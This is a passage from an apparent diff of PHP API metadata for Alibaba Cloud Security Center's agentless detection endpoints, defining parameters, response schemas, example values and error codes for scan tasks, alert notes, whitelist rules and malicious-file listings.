'ALL', + ], + 'TargetType' => [ + 'title' => '范围类型, ALL-全部资产 SELECTION_KEY- 资产选择key', + 'description' => '生效目标类型：'."\n" + .'- ALL：全部资产'."\n" + .'- SELECTION_KEY：通过资产选择组件选中的资产', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Count' => [ + 'title' => 'target type 为 SELECTION_KEY 的情况下，此字段有值', + 'description' => '生效的资产数量。'."\n" + .'>说明 targetType 为 SELECTION_KEY 的情况下，此字段有值', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Source' => [ + 'title' => '告警来源', + 'description' => '业务来源：'."\n" + .'- agentless：无代理检测', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Id' => [ + 'description' => '告警加白规则编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'Remark' => [ + 'title' => '备注。', + 'description' => '备注。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '29', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码。**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '附加信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"GmtCreate\\": \\"1691719662000\\",\\n \\"GmtModified\\": \\"1691719662000\\",\\n \\"EventName\\": \\"ALL\\",\\n \\"Field\\": \\"fileMd5\\",\\n \\"FieldValue\\": \\"b2cf9747ee49d8d9b105cf16e078cc16\\",\\n \\"Operator\\": \\"strEqual\\",\\n \\"TargetValue\\": \\"ALL\\",\\n \\"TargetType\\": \\"ALL\\",\\n \\"Count\\": \\"ALL\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Id\\": 1,\\n \\"Remark\\": \\"test\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 29,\\n \\"Count\\": 9\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询无代理检测敏感文件告警加白规则列表', + ], + 'CreateAgentlessScanTask' => [ + 'summary' => '创建无代理检测任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '155384', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '目标类型。取值：'."\n" + ."\n" + .'- **1**：主机检测-通过快照检测'."\n" + .'- **2**：主机检测-通过镜像检测'."\n" + .'- **3**：用户快照检测'."\n" + .'- **2**：用户自定义镜像检测', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '2', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定待检测的资产UUID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'array', + 'items' => [ + 'description' => '指定待检测的资产UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '66a9c708-d4a4-4feb-aa00-61006556****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'AutoDeleteDays', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像保留时间，单位为天。此参数仅对主机检测生效，用户快照检测和用户自定义镜像检测场景不生效。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ScanDataDisk', + 'in' => 'query', + 'schema' => [ + 'description' => '是否检测数据盘。取值：'."\n" + ."\n" + .'- **true**：检测'."\n" + .'- **false**：不检测', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'ReleaseAfterScan', + 'in' => 'query', + 'schema' => [ + 'description' => '是否打开省钱模式。取值：'."\n" + ."\n" + .'- **true**：打开'."\n" + .'- **false**：关闭', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'AssetSelectionType', + 'in' => 'query', + 'schema' => [ + 'description' => '资产选择标识。', + 'type' => 'string', + 'required' => false, + 'example' => 'AGENTLESS_SCAN_ONCE_TASK_1720145******', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E90DE229-9FC6-58F6-BF4B-03AD6179****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'TaskIsProcessing', + 'errorMessage' => 'Task Is Processing.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E90DE229-9FC6-58F6-BF4B-03AD6179****\\"\\n}","type":"json"}]', + 'title' => '创建无代理检测任务', + ], + 'DeleteMaliciousNote' => [ + 'summary' => '删除无代理检测告警事件备注。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '164850', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'NoteId', + 'in' => 'query', + 'schema' => [ + 'description' => '备注记录 ID。'."\n" + .'>调用[ListAgentlessMaliciousFiles](~~ListAgentlessMaliciousFiles~~)接口，通过 NoteId 字段可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX\\"\\n}","type":"json"}]', + 'title' => '删除无代理检测备注', + ], + 'CreateMaliciousNote' => [ + 'summary' => '创建无代理检测告警事件备注。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Note', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '要添加的备注信息。', + 'type' => 'string', + 'required' => true, + 'example' => 'Ignore', + ], + ], + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '要添加备注的告警事件的ID。'."\n" + .'>调用[ListAgentlessMaliciousFiles](~~ListAgentlessMaliciousFiles~~)接口，通过 NoteId 字段可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '80****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', + 'title' => '创建无代理检测告警事件备注', + ], + 'ListAgentlessMaliciousFiles' => [ + 'summary' => '获取无代理检测恶意文件列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '164201', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '紧急程度，多个采用英文半角逗号隔开。取值：'."\n" + ."\n" + .'- serious：紧急'."\n" + .'- suspicious：可疑'."\n" + .'- remind：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'remind,suspicious', + ], + ], + [ + 'name' => 'FuzzyMaliciousName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的恶意文件名称。'."\n" + .'> 支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'WebShell', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'string', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'MaliciousMd5', + 'in' => 'query', + 'schema' => [ + 'description' => '恶意文件的md5值。', + 'type' => 'string', + 'required' => false, + 'example' => 'd836968041f7683b5459****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '资产唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => 'd2d94e8b-bb25-4744-8004-1e08a53c****', + ], + ], + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '81****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的资产信息，可以设置为资产名称、公网IP或私网IP（支持模糊查询）。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '是否已处理。取值：'."\n" + ."\n" + .'- Y：已处理'."\n" + .'- N：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'Y', + ], + ], + [ + 'name' => 'MaliciousType', + 'in' => 'query', + 'schema' => [ + 'description' => '告警类型。'."\n" + ."\n" + .'Lang传入zh时，取值：'."\n" + ."\n" + .'- WebShell：WebShell'."\n" + .'- 恶意软件：恶意软件'."\n" + .'- 恶意脚本：恶意脚本'."\n" + ."\n" + .'Lang传入en时，取值：'."\n" + ."\n" + .'- WebShell：WebShell'."\n" + .'- Malicious Software：恶意软件'."\n" + .'- Malicious Script：恶意脚本', + 'type' => 'string', + 'required' => false, + 'example' => 'WebShell', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件来源。', + 'type' => 'array', + 'items' => [ + 'description' => '文件来源。取值：'."\n" + ."\n" + .'- **agentless**：主机检测。'."\n" + .'- **ecs_snapshot**：用户快照检测。'."\n" + .'- **ecs_image**：用户自定义镜像检测。', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE343162-35BF-565E-B85E-8E3B7A2B****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回结果中显示的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的恶意文件总个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的恶意文件条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'List' => [ + 'description' => '恶意文件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '恶意文件列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1****', + ], + 'FirstScanTimestamp' => [ + 'description' => '首次扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '168257753****', + ], + 'LatestScanTimestamp' => [ + 'description' => '最新扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '168257753****', + ], + 'Level' => [ + 'description' => '紧急程度。取值：'."\n" + ."\n" + .'- serious：紧急'."\n" + .'- suspicious：可疑'."\n" + .'- remind：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + 'MaliciousMd5' => [ + 'description' => '恶意文件的MD5值。', + 'type' => 'string', + 'example' => '1f2e13a7c51ee89316ae50066515****', + ], + 'FilePath' => [ + 'description' => '文件路径。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '/root/etc/g****', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'sql-test-001****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => 'm-****', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'jenkins****', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。取值：'."\n" + ."\n" + .'- 2：镜像', + 'type' => 'string', + 'example' => '2', + ], + 'DownloadUrl' => [ + 'description' => '恶意样本下载链接。', + 'type' => 'string', + 'example' => 'https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/rule/V3.166.2/totalpackage_rule_V3.16_6.2_tip_20230220110****', + ], + 'HighLight' => [ + 'description' => '高亮显示文本，JSON字符串。', + 'type' => 'string', + 'example' => '{\\"highlight\\":{\\"ruleVersion\\":\\"20230223\\",\\"ruleId\\":600139,\\"events\\":[[207,284]]}}', + ], + 'Notes' => [ + 'description' => '备注信息。', + 'type' => 'array', + 'items' => [ + 'description' => '备注信息。', + 'type' => 'object', + 'properties' => [ + 'Note' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => 'Serious***', + ], + 'NoteId' => [ + 'description' => '备注记录ID。', + 'type' => 'string', + 'example' => '50****', + ], + 'NoteTime' => [ + 'description' => '备注记录时间。', + 'type' => 'string', + 'example' => '2023-04-27 14:49:21', + ], + ], + ], + ], + 'Details' => [ + 'description' => '告警事件详情。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件详情。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '告警事件详情项的名称。', + 'type' => 'string', + 'example' => 'MD5', + ], + 'Type' => [ + 'description' => '告警事件详情项的类型。', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '告警事件详情项的值。', + 'type' => 'string', + 'example' => '1', + ], + 'NameKey' => [ + 'description' => '告警事件详情项的名称key。', + 'type' => 'string', + 'example' => '${suspicious.mp.db.maliciousfilemd5}', + ], + ], + ], + ], + 'MaliciousName' => [ + 'description' => '恶意文件的名称。', + 'type' => 'string', + 'example' => 'WebShell', + ], + 'Partition' => [ + 'description' => '磁盘分区。', + 'type' => 'string', + 'example' => '/dev/xvda1', + ], + 'OperateResult' => [ + 'description' => '告警处理结果。', + 'type' => 'string', + 'example' => 'addWhitelist.USER.Success', + ], + 'OperateTimestamp' => [ + 'description' => '告警处理时间戳，单位：毫秒。', + 'type' => 'string', + 'example' => '168257753****', + ], + 'MaliciousType' => [ + 'description' => '病毒类型。', + 'type' => 'string', + 'example' => 'WebShell', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE343162-35BF-565E-B85E-8E3B7A2B****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 23,\\n \\"Count\\": 20\\n },\\n \\"List\\": [\\n {\\n \\"Id\\": 0,\\n \\"FirstScanTimestamp\\": 0,\\n \\"LatestScanTimestamp\\": 0,\\n \\"Level\\": \\"serious\\",\\n \\"MaliciousMd5\\": \\"1f2e13a7c51ee89316ae50066515****\\",\\n \\"FilePath\\": 0,\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InstanceName\\": \\"sql-test-001****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"TargetId\\": \\"m-****\\",\\n \\"TargetName\\": \\"jenkins****\\",\\n \\"TargetType\\": \\"2\\",\\n \\"DownloadUrl\\": \\"https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/rule/V3.166.2/totalpackage_rule_V3.16_6.2_tip_20230220110****\\",\\n \\"HighLight\\": \\"{\\\\\\\\\\\\\\"highlight\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"ruleVersion\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"20230223\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ruleId\\\\\\\\\\\\\\":600139,\\\\\\\\\\\\\\"events\\\\\\\\\\\\\\":[[207,284]]}}\\",\\n \\"Notes\\": [\\n {\\n \\"Note\\": \\"Serious***\\",\\n \\"NoteId\\": \\"50****\\",\\n \\"NoteTime\\": \\"2023-04-27 14:49:21\\"\\n }\\n ],\\n \\"Details\\": [\\n {\\n \\"Name\\": \\"MD5\\",\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"1\\",\\n \\"NameKey\\": \\"${suspicious.mp.db.maliciousfilemd5}\\"\\n }\\n ],\\n \\"MaliciousName\\": \\"WebShell\\",\\n \\"Partition\\": \\"/dev/xvda1\\",\\n \\"OperateResult\\": \\"addWhitelist.USER.Success\\",\\n \\"OperateTimestamp\\": \\"168257753****\\",\\n \\"MaliciousType\\": \\"WebShell\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取无代理检测恶意文件列表', + ], + 'RetryAgentlessTask' => [ + 'summary' => '重试无代理检测任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '任务ID。调用[ListAgentlessTask](~~ListAgentlessTask~~)获取任务的ID。', + 'type' => 'string', + 'required' => false, + 'example' => '5347c7b6-c85c-4070-846a-3029e08e****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\"\\n}","type":"json"}]', + 'title' => '重试无代理检测任务', + ], + 'ListAgentlessRelateMalicious' => [ + 'summary' => '获取无代理检测事件关联风险。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '164463', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'string', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '80****', + ], + ], + [ + 'name' => 'Scenario', + 'in' => 'query', + 'schema' => [ + 'description' => '批量处理的场景：'."\n" + .'- same_file_md5：相同文件MD5；'."\n" + .'- default（默认值）：相同告警类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FCA270CC-24C8-5DA1-9184-20F2605C****', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '197', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'List' => [ + 'description' => '关联风险的主机列表。', + 'type' => 'array', + 'items' => [ + 'description' => '关联风险的主机列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8012', + ], + 'FirstScanTimestamp' => [ + 'description' => '首次扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '168257753****', + ], + 'LatestScanTimestamp' => [ + 'description' => '最新扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '168257753****', + ], + 'Level' => [ + 'description' => '紧急程度。取值：'."\n" + ."\n" + .'- serious：紧急'."\n" + .'- suspicious：可疑'."\n" + .'- remind：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + 'MaliciousMd5' => [ + 'description' => '恶意文件MD5值', + 'type' => 'string', + 'example' => '1f2e13a7c51ee89316ae50066515****', + ], + 'FilePath' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => '/root/logs/arms/tracelogs/log****', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'sql-test-0****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'TargetId' => [ + 'description' => '任务目标ID。', + 'type' => 'string', + 'example' => 'm-****', + ], + 'TargetName' => [ + 'description' => '任务目标名称。', + 'type' => 'string', + 'example' => 'image_***', + ], + 'TargetType' => [ + 'description' => '对象类型。取值：'."\n" + ."\n" + .'- **1**：快照'."\n" + .'- **2**：镜像', + 'type' => 'string', + 'example' => '2', + ], + 'DownloadUrl' => [ + 'description' => '恶意样本下载链接。', + 'type' => 'string', + 'example' => 'https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/***', + ], + 'HighLight' => [ + 'description' => '高亮显示文本，JSON字符串。', + 'type' => 'string', + 'example' => '{\\"highlight\\":{\\"ruleVersion\\":\\"20230223\\",\\"ruleId\\":600139,\\"events\\":[[207,284]]}}', + ], + 'Details' => [ + 'description' => '告警事件详情。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件详情。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '告警事件详情项的名称。', + 'type' => 'string', + 'example' => 'MD5', + ], + 'Type' => [ + 'description' => '告警事件详情项的类型。', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '告警事件详情项的值。', + 'type' => 'string', + 'example' => '1f2e13a7c51ee89316ae50066515****', + ], + 'NameKey' => [ + 'description' => '告警事件详情项的名称key。', + 'type' => 'string', + 'example' => '${suspicious.mp.db.maliciousfilemd5}', + ], + ], + ], + ], + 'MaliciousName' => [ + 'description' => '恶意文件的名称。', + 'type' => 'string', + 'example' => 'WebShell', + ], + 'Partition' => [ + 'description' => '磁盘分区。', + 'type' => 'string', + 'example' => '/dev/xvda1', + ], + 'OperateResult' => [ + 'description' => '告警处理结果。', + 'type' => 'string', + 'example' => 'addWhitelist.USER.Success', + ], + 'OperateTimestamp' => [ + 'description' => '告警处理时间戳，单位：毫秒。', + 'type' => 'string', + 'example' => '168257753****', + ], + 'MaliciousType' => [ + 'description' => '病毒类型。', + 'type' => 'string', + 'example' => 'WebShell', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FCA270CC-24C8-5DA1-9184-20F2605C****\\",\\n \\"PageInfo\\": 